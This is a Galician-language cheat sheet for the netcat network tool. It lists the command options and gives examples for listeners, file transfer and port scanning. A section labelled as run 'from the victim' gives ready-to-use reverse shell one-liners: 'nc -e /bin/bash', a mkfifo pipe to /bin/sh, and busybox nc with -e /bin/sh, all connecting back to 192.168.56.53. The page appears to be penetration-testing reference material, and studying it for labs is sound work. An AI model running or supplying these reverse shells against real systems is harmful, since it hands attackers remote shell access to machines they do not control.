Ir ao contido

nc / netcat - Swiss Army Knife de Rede

Descrición

Ferramenta multiusos para ler e escribir datos a través de conexións de rede.

Sintaxe básica

nc [opcións] <host> <porto>

Opcións principais

Opción Descrición
-l Modo listen (escoitar)
-p <porto> Porto local a usar
-n Non facer resolución DNS
-v Modo verbose
-e <programa> Executar programa ao conectar
-u Usar UDP en lugar de TCP
-z Modo scan (sen enviar datos)

Exemplos de uso

Listener para reverse shell

# Listener básico
nc -nlvp 4444

# Múltiples listeners
nc -nlvp 443  # Terminal 1
nc -nlvp 5555 # Terminal 2
nc -nlvp 7777 # Terminal 3

Reverse shell (desde vítima)

# Bash reverse shell
nc -e /bin/bash 192.168.56.53 4444

# Se -e non está dispoñible
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.56.53 4444 > /tmp/f

# Reverse shell con busybox
busybox nc 192.168.56.53 443 -e /bin/sh

Transfer de ficheiros

# Receptor (listener)
nc -nlvp 4444 > ficheiro_recibido.txt

# Emisor
nc 192.168.56.53 4444 < ficheiro_enviar.txt

Port scanning

# Escanear porto único
nc -vz 192.168.56.100 80

# Escanear varios portos
nc -vz 192.168.56.100 21 22 80 443

# Escanear rango de portos
nc -vz 192.168.56.100 20-30